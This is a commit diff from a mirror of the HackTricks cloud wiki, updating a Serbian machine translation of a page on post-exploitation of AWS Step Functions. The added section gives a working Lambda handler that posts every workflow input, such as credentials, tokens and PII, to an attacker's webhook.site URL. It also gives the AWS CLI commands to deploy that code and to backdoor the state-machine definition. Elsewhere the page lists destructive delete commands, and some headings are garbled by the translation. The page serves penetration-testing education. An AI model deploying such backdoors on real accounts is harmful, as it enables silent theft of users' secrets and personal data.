mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 03:16:37 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
@@ -18,13 +18,13 @@ Ova dozvola omogućava **otkrivanje tajnih podataka unutar izvršenja**. Za to j
|
||||
|
||||
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
|
||||
|
||||
Napadač sa ovim dozvolama mogao bi trajno da obriše state mašine, njihove verzije i alias-e. To može ometati kritične radne tokove, dovesti do gubitka podataka i zahtevati značajno vreme za oporavak i vraćanje pogođenih state mašina. Pored toga, to bi omogućilo napadaču da prikrije tragove korišćene, ometa forenzičke istrage i potencijalno osakati operacije uklanjanjem bitnih automatizovanih procesa i konfiguracija stanja.
|
||||
Napadač sa ovim dozvolama mogao bi trajno da obriše mašine stanja, njihove verzije i alias-e. To može ometati kritične radne tokove, dovesti do gubitka podataka i zahtevati značajno vreme za oporavak i vraćanje pogođenih mašina stanja. Pored toga, to bi omogućilo napadaču da prikrije tragove korišćene, ometa forenzičke istrage i potencijalno osakati operacije uklanjanjem suštinskih automatizovanih procesa i konfiguracija stanja.
|
||||
|
||||
> [!NOTE]
|
||||
>
|
||||
> - Brisanjem state mašine takođe brišete sve njene povezane verzije i alias-e.
|
||||
> - Brisanjem alias-a state mašine ne brišete verzije state mašine koje se odnose na ovaj alias.
|
||||
> - Nije moguće obrisati verziju state mašine koja je trenutno referencirana od strane jednog ili više alias-a.
|
||||
> - Brisanjem mašine stanja takođe brišete sve njene povezane verzije i alias-e.
|
||||
> - Brisanjem alias-a mašine stanja ne brišete verzije mašine stanja koje se odnose na ovaj alias.
|
||||
> - Nije moguće obrisati verziju mašine stanja koja je trenutno referencirana od strane jednog ili više alias-a.
|
||||
```bash
|
||||
# Delete state machine
|
||||
aws stepfunctions delete-state-machine --state-machine-arn <value>
|
||||
@@ -33,11 +33,11 @@ aws stepfunctions delete-state-machine-version --state-machine-version-arn <valu
|
||||
# Delete state machine alias
|
||||
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
|
||||
```
|
||||
- **Potencijalni Uticaj**: Poremećaj kritičnih radnih tokova, gubitak podataka i operativno zastoju.
|
||||
- **Potencijalni uticaj**: Poremećaj kritičnih radnih tokova, gubitak podataka i operativno vreme zastoja.
|
||||
|
||||
### `states:UpdateMapRun`
|
||||
|
||||
Napadač sa ovom dozvolom mogao bi da manipuliše konfiguracijom neuspeha Map Run i paralelnim podešavanjima, imajući mogućnost da poveća ili smanji maksimalan broj dozvoljenih izvršenja radnih tokova, što direktno utiče na performanse usluge. Pored toga, napadač bi mogao da manipuliše procentom i brojem tolerisanih neuspeha, imajući mogućnost da smanji ovu vrednost na 0, tako da svaki put kada stavka ne uspe, ceo map run bi neuspeo, što direktno utiče na izvršenje stanja mašine i potencijalno ometa kritične radne tokove.
|
||||
Napadač sa ovom dozvolom mogao bi da manipuliše konfiguracijom neuspeha Map Run i paralelnim podešavanjima, što bi mu omogućilo da poveća ili smanji maksimalan broj dozvoljenih izvršenja radnih tokova, direktno utičući na performanse usluge. Pored toga, napadač bi mogao da menja tolerisani procenat neuspeha i broj, sa mogućnošću da smanji ovu vrednost na 0, tako da svaki put kada stavka ne uspe, ceo map run bi neuspeo, direktno utičući na izvršenje mašine stanja i potencijalno ometajući kritične radne tokove.
|
||||
```bash
|
||||
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
|
||||
```
|
||||
@@ -61,6 +61,125 @@ Napadač bi mogao da doda, izmeni ili ukloni oznake sa resursa Step Functions, o
|
||||
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
|
||||
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
|
||||
```
|
||||
**Potencijalni uticaj**: Poremećaj u alokaciji troškova, praćenju resursa i politikama kontrole pristupa zasnovanim na oznakama.
|
||||
**Potencijalni uticaj**: Poremećaj alokacije troškova, praćenja resursa i politika kontrole pristupa zasnovanih na oznakama.
|
||||
|
||||
---
|
||||
|
||||
### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
|
||||
|
||||
Napadač koji kompromituje korisnika ili ulogu sa sledećim dozvolama:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowUpdateStateMachine",
|
||||
"Effect": "Allow",
|
||||
"Action": "states:UpdateStateMachine",
|
||||
"Resource": "*"
|
||||
},
|
||||
{
|
||||
"Sid": "AllowUpdateFunctionCode",
|
||||
"Effect": "Allow",
|
||||
"Action": "lambda:UpdateFunctionCode",
|
||||
"Resource": "*"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
...može sprovesti **napad post-ekspolatacije visokog uticaja i prikrivenosti** kombinovanjem backdooring-a Lambda sa manipulacijom logikom Step Function-a.
|
||||
|
||||
Ovaj scenario pretpostavlja da žrtva koristi **AWS Step Functions za orkestraciju radnih tokova koji obrađuju osetljive ulaze**, kao što su akreditivi, tokeni ili PII.
|
||||
|
||||
Primer poziva žrtve:
|
||||
```bash
|
||||
aws stepfunctions start-execution \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
|
||||
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
|
||||
```
|
||||
Ako je Step Function konfigurisana da poziva Lambda kao `LegitBusinessLogic`, napadač može nastaviti sa **dva prikrivena varijante napada**:
|
||||
|
||||
---
|
||||
|
||||
#### Ažurirana lambda funkcija
|
||||
|
||||
Napadač menja kod Lambda funkcije koja se već koristi od strane Step Function (`LegitBusinessLogic`) kako bi tiho eksfiltrirao ulazne podatke.
|
||||
```python
|
||||
# send_to_attacker.py
|
||||
import requests
|
||||
|
||||
def lambda_handler(event, context):
|
||||
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
|
||||
return {"status": "exfiltrated"}
|
||||
```
|
||||
|
||||
```bash
|
||||
zip function.zip send_to_attacker.py
|
||||
|
||||
aws lambda update-function-code \
|
||||
--function-name LegitBusinessLogic \
|
||||
--zip-file fileb://function.zip -profile attacker
|
||||
```
|
||||
---
|
||||
|
||||
#### Dodajte Zloćudnu Državu u Step Funkciju
|
||||
|
||||
Alternativno, napadač može da ubaci **exfiltration state** na početak radnog toka ažuriranjem definicije Step Funkcije.
|
||||
```malicious_state_definition.json
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
"StartAt": "OriginalState",
|
||||
"States": {
|
||||
"OriginalState": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
```bash
|
||||
aws stepfunctions update-state-machine \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
|
||||
--definition file://malicious_state_definition.json --profile attacker
|
||||
```
|
||||
Napadač može još diskretnije ažurirati definiciju stanja na nešto poput ovoga
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
"StartAt": "ExfiltrateSecrets",
|
||||
"States": {
|
||||
"ExfiltrateSecrets": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
|
||||
"InputPath": "$",
|
||||
"ResultPath": "$.exfil",
|
||||
"Next": "OriginalState"
|
||||
},
|
||||
"OriginalState": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
}
|
||||
gde žrtva neće primetiti razliku
|
||||
|
||||
---
|
||||
|
||||
### Podešavanje žrtve (Kontekst za Eksploataciju)
|
||||
|
||||
- Step Function (`LegitStateMachine`) se koristi za obradu osetljivih korisničkih podataka.
|
||||
- Poziva jednu ili više Lambda funkcija kao što je `LegitBusinessLogic`.
|
||||
|
||||
---
|
||||
|
||||
**Potencijalni Uticaj**:
|
||||
- Tiha eksfiltracija osetljivih podataka uključujući tajne, akreditive, API ključeve i PII.
|
||||
- Nema vidljivih grešaka ili neuspeha u izvršenju radnog toka.
|
||||
- Teško je otkriti bez revizije Lambda koda ili tragova izvršenja.
|
||||
- Omogućava dugoročnu postojanost ako se bekdor zadrži u kodu ili ASL logici.
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user